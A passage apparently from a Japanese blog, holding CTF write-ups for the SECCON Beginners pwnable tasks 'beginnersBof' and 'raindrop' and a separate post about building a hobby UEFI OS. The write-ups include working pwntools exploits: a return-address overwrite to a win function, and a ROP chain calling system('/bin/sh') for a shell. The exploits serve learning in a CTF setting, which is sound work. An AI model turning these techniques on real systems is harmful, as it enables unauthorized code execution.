0x7d,  0x37,  0x72,  0x7b,  0x7d,  0x74,  0x69,  0x7d,
0x3f,  0x5f,  0x3c,  0x73,  0x77,  0x78,  0x6a,  0x75,
0x31,  0x6b,  0x21,  0x6c,  0x26,  0x64,  0x62,  0x21,
0x6a,  0x3a,  0x7d,  0x21,  0x7a,  0x7d,  0x36,  0x2a,
0x60,  0x31,  0x5f,  0x7b,  0x66,  0x31,  0x73,  0x40,
0x33,  0x64,  0x2c,  0x76,  0x69,  0x6f,  0x34,  0x35,
0x3c,  0x5f,  0x34,  0x76,  0x63,  0x5f,  0x76,  0x33,
0x3e,  0x68,  0x75,  0x33,  0x3e,  0x2b,  0x62,  0x79,
0x76,  0x71,  0x23,  0x23,  0x40,  0x66,  0x2b,  0x29,
0x6c,  0x63,  0x39,  0x31,  0x77,  0x2b,  0x39,  0x69,
0x37,  0x23,  0x76,  0x3c,  0x72,  0x3b,  0x72,  0x72,
0x24,  0x75,  0x40,  0x28,  0x61,  0x74,  0x3e,  0x76,
0x6e,  0x3a,  0x37,  0x62,  0x60,  0x6a,  0x73,  0x6d,
0x67,  0x36,  0x6d,  0x79,  0x7b,  0x2b,  0x39,  0x6d,
0x5f,  0x2d,  0x72,  0x79,  0x70,  0x70,  0x5f,  0x75,
0x35,  0x6e,  0x2a,  0x36,  0x2e,  0x7d,  0x66,  0x38,
0x70,  0x70,  0x67,  0x3c,  0x6d,  0x2d,  0x26,  0x71,
0x71,  0x35,  0x6b,  0x33,  0x66,  0x3f,  0x3d,  0x75,
0x31,  0x7d,  0x6d,  0x5f,  0x3f,  0x6e,  0x39,  0x3c,
0x7c,  0x65,  0x74,  0x2a,  0x2d,  0x2f,  0x25,  0x66,
0x67,  0x68,  0x2e,  0x31,  0x6d,  0x28,  0x40,  0x5f,
0x33,  0x76,  0x66,  0x34,  0x69,  0x28,  0x6e,  0x29,
0x73,  0x32,  0x6a,  0x76,  0x67,  0x30,  0x6d,  0x34]
flagIdx = []
dummy = 'a'*0x26
flag = []

def check(param1, param2):
  global flag
  iVar3 = len(param1)
  if iVar3 == 1:
    flag.append(table[param2])
  else :
    iVar1 = int(iVar3/2)
    if not check(param1[:iVar1], param2):
      return False
    if not check(param1[iVar1:],iVar1 * iVar1 + param2):
      return False
  return True

check(dummy,0)

print("Result length: " + str(len(flag)))
answer = ""
for i in flag:
  hoge = i.to_bytes(2,'big')
  answer += hoge.decode('ASCII')
print("Flag: "+answer)

pwnable

beginnersBof

典型的なBOFです。まずは配布されたsrc.cから脆弱性っぽいものを探していきます。具体的には値をfgetsなどでコピーしているような処理です。すると29行目にfgetsがあります。さらに、ここには記載していませんがソースコード全体を読めばflag.txtをopenして内容をreadして出力するwin関数があります。

int main() { //src.c
    int len = 0;
    char buf[BUFSIZE] = {0};
    puts("How long is your name?");
    scanf("%d", &len);
    char c = getc(stdin);
    if (c != '\n')
        ungetc(c, stdin);
    puts("What's your name?");
    fgets(buf, len, stdin);
    printf("Hello %s", buf);
}

ここまでの情報で「"How long is your name" と聞かれたらスタックサイズを超える容量を指定し、nameの入力によりターンアドレスに該当する領域にwin関数のアドレスを書き込めばいけるはず」という方針が立ちます。となればやることは何バイト埋めればよいかの特定とwin関数のアドレスの特定です。gdbを立ち上げディスアセンブルします。

(gdb) disas
Dump of assembler code for function main
   0x0000000000401263 <+0>:     push   rbp
   0x0000000000401264 <+1>:     mov    rbp,rsp
   0x0000000000401267 <+4>:     sub    rsp,0x20

なんとなくスタックサイズが0x20っぽそうなので、rbpの大きさの0x8を足して、0x28 byteだけ埋めれば次はwin関数のアドレスを入れればリターンアドレスの書き換えができてwin関数を呼んでくれるはずという推測のもとできたプログラムがこちら。(ちなみに、ちゃんとやるならディスアセンブルの結果を見て、ダミーを書き込むbufの先頭アドレスを確認してからオフセットを計算するべきなはずです多分)

from pwn import *

binfile = './chall'
e = ELF(binfile)

#pc = connect('beginnersbof.quals.beginners.seccon.jp',9000)
pc = process("./chall")

pc.sendlineafter(b"name?\n",b"50")

payload = b'A'* 0x28
payload += p64(e.symbols["win"])

pc.sendlineafter(b"name?\n" ,payload)

pc.interactive()

raindrop

#define BUFF_SIZE 0x10

void help() {
    system("cat welcome.txt");
}

void show_stack(void *);
void vuln();

int main() {
    vuln();
}

void vuln() {
    char buf[BUFF_SIZE] = {0};
    show_stack(buf);
    puts("You can earn points by submitting the contents of flag.txt");
    puts("Did you understand?") ;
    read(0, buf, 0x30);
    puts("bye!");
    show_stack(buf);
}

ROPですね。名前から自明なようですが脆弱性を含むのはvuln関数です。BUFF_SIZEが0x10であるのに対し、readで0x30読んでしまうという脆弱性を利用してスタックオーバーフローを狙いリターンアドレスを書き換えてシェルを狙います。rbpがあるので、リターンアドレス以降の0x18バイトを書き換えることができます。ROPでやりたいことはシェルを呼び出すように仕向けることです。そのためには"/bin/sh"を引数としてsystemやexecveなどを呼び出す必要があります。systemを呼び出す命令についてはhelp関数内でsystemが呼ばれていますね。gdbでdisas helpして0x00000000004011e5がその部分であることがわかります。そして、「引数を渡す」というのは、x64では以下のようにして行う必要があります。

  1. 第 1 引数 を rdi に設定
  2. 第 2 引数 を rsi に設定
  3. 第 3 引数 を rdx に設定
  4. 第 4 引数 を r10 に設定
  5. 第 5 引数 を r8 に設定
  6. 第 6 引数 を r9 に設定

ちなみに、システムコール命令を使うならrax にシステムコール番号を設定して syscall を実行するわけですが今回はsystem関数のアドレスがわかるので今回は使用しません。では問題に戻りましょう。引数を渡すのに使える命令をROPgadgetで探します。ここではsyscallの引数として"/bin/sh"を渡せばいいわけですから、"/bin/sh"の文字列はエクスプロイトコードのなかで用意するとして、それを第一引数にするにはpop rdi ; retを呼べばよいです。そして欠けている情報がもう一つ、「popしてrdiに渡す"/bin/sh"のアドレス」です。問題の出力でsaved rbpが書いてくれているので、ここからスタックサイズを引けばスタックの先頭アドレスがわかるので、ここに"/bin/sh"を格納しておけばよいです。ごちゃごちゃしてきましたが、結局このような積み方をすればよいはずです。

addr value
saved rbp-0x20 "/bin/sh"
... dummy
saved rbp dummy
saved ret addr 0x0000000000401453 ( pop rdi ; ret)
saved ret addr + 0x8 "/bin/sh"のアドレス
saved ret addr + 0x16 0x00000000004011e5 (system関数のアドレス)

あとはこのようなペイロードを送りつけるプログラムを書いていきます。saved rbpは実行毎に変わるので実行結果から取得する必要があります。

from pwn import *

pc = process("./chall")

pc.recvuntil(b"000002 | ")
saved_rbp = int(pc.recv(18), 16)
print(hex(saved_rbp))
binsh_addr = saved_rbp - 0x20
pop_rdi = 0x0000000000401453
system_addr = 0x00000000004011e5

payload = b'/bin/sh\x00'
payload += b'a' * 16 # stack_show()の実行結果から数えました。
# 0x30...読み込むサイズ、0x10...バッファのサイズ、0x8...アドレスのサイズなので
# payload += b'a' * (0x30 - 0x10 - 0x8 - len(payload) とかでもいいですね

payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_addr)
pc.sendafter(b'understand?\n', payload)
pc.interactive()

実行結果は以下のようになり、シェルが取れます。saved ret addrのvalueが、pop rdi; retのアドレスになっているのがポイントです。

[Index] |[Value]             
========+===================
 000000 | 0x0068732f6e69622f  <- buf
 000001 | 0x6161616161616161 
 000002 | 0x6161616161616161  <- saved rbp
 000003 | 0x0000000000401453  <- saved ret addr
 000004 | 0x00007ffe13a7b8b0 

感想

pwnableについては初心者向けのCTFにおいてはスタック系の問題は見当がつくようになってきたのでヒープ系の問題にも手を出していきたいです(pwnはなんとなくロードマップみたいなものを意識できるようになってきたので常設でも挑戦する問題にあたりがつけられそうです)。reversingはまだ出たとこ勝負な感じがあります。とりあえずgdbとghidraは手足のように扱えるようになっておくべき...。コンテスト中に取り組んだのはこの4問だけでした。そのうち解ききれなかった問題も理解できたら解説をまとめてアップしようかなと思います(書けたら書く)。

初心者がフルスクラッチ自作OSに挑戦し始めた話

この記事は自作OS Advent calendar2021 15日目の記事として書かれています。 Covid-19関連で在宅期間が増えたのを良い機会だと思い自作OSを始めた超初心者で、昨年ははりぼてOSの写経を行いました。その約1年後にみかん本が発売されたのが個人的にはとてもいいタイミングで、今度は少しでもオリジナリティを持って取り組もうと考えており、みかん本の流れを参考にしてフルスクラッチでOSを自作し始めました。「UEFI is 何?」みたいな状況から始めたので調べ物の時間が非常に長くなったこともあり、実装できたものはそこまで多くはなりませんでしたが、今年開発を進めてきた中で躓いたことなどを振り返りたいと思います。

UEFI Specificationを読む

まずは画面をクリアしてメッセージを表示するだけのプログラムを書いてUEFIアプリケーションの書き方を学ぼうとしていました。そこで早速UEFIAPIを叩く際の構造体の作成に躓きます。仕様書をちゃんと読めていなかっただけなのですが、ClearScreenとOutputString以外の使っていない関数の分をバッファで確保するのを忘れていました。ただ、これをクリアしたことでUEFI Specificationの読み方やどこに何が書いてあるのかなどが分かってきました。

エラーメッセージを出力する

次に、前述のメッセージの出力に失敗している時に何もエラーメッセージが出ないことを不便に感じて、せめてstatusの値からどのエラーが発生しているのかを出力するサブルーチンを書きました(メッセージが表示すらできない状態では意味のないサブルーチンなので、メッセージ出力でウンウン唸っているときは結局仕様書をよく読む以外に解決策はなかったわけですが...)。とはいえこれがあることでこの後UEFIAPIを叩く上で助けにはなりました。

謎の関数が無いぞと怒られた

その次はメモリマップの取得やカーネルファイルを読み込む部分を作っているときに躓きます。これは今も根本的に解決できているわけではないのですが、コンパイル時に以下のメッセージが出ました。コンパイラはclangを使いました。

clang -target x86_64-pc-win32-coff \
      -fno-stack-protector -fshort-wchar \
      -nostdlibinc\
      -mno-red-zone -Wall\
      -c main.c
lld-link -subsystem:efi_application -nodefaultlib -dll\
         -entry:EfiMain -out:main.efi main.o
lld-link: error: undefined symbol: __chkstk
>>> referenced by main.o:(EfiMain)

名前的にローカル変数のサイズをチェックしてくる関数であることは察しがつきましたが、調べていくとwindows向けのバイナリを吐くときにコンパイラが挿入してくる関数で、ローカル変数のサイズが4kを超える時(64bitの場合は8kを超える時)に呼ばれるようです。グローバル変数にして回避できる部分は回避しましたが、カーネルファイルを読み出すときに使用するEFI_FILE_PROTOCOL内のGetInfo関数を使用する際はこの関数を呼び出すだけでアウトでした。コンパイラのことなのでgccでもコンパイルして試してみましたが、この場合は「undefined reference to `___chkstk_ms'」と怒られました。

この関数に与えている引数の容量的には4kバイトも無いと思うのですが...。結局、これを無効化する術もないとの記述を見てしまいました。問題が生じる場面もありそうですし、そのうちまともな対処が強制されるかなと思って一旦は以下のようなダミー関数をつくって放っていました。

void __chkstk(){}

が、ふと「EDK IIではどうしているんだろう?」と思って「edkII chkstk(検索)」で一番上に出てきたリポジトリ

github.com

を見てみました。ダミー関数ですね。コメントにも「Hack function for passing GCC build」とあります。そういうことなら遠慮なくダミー関数を作らせてもらいます。

こうしてカーネルファイルを読んで何もしないカーネルを起動するところまでを書いたのが今年の進捗でした。今年は時間が取れなかったので、来年はもっと個人開発の時間を取りたいです。自作OS自体は個人的サグラダファミリアになりそうなので焦らず楽しみたいですね。

おわりに

みかん本は、今取り組んでいる場所よりも先の方まで読むと「早くこういうの実装していきたいな」とモチベアップになるのでことあるごとに読んでいます。時折挟まれるコラムも興味深いですし、冒頭にも書きましたが私ははりぼてOSを写経したばかりで「今度はUEFI使った方法とか、開発環境も一般に出回っているやつで構築してやってみたいな」という思いがあったため、ドンピシャのタイミングでした。ありがたい限りです。

あまり何も書けていない気もしますがこれで終わりになります。ご覧いただきありがとうございました。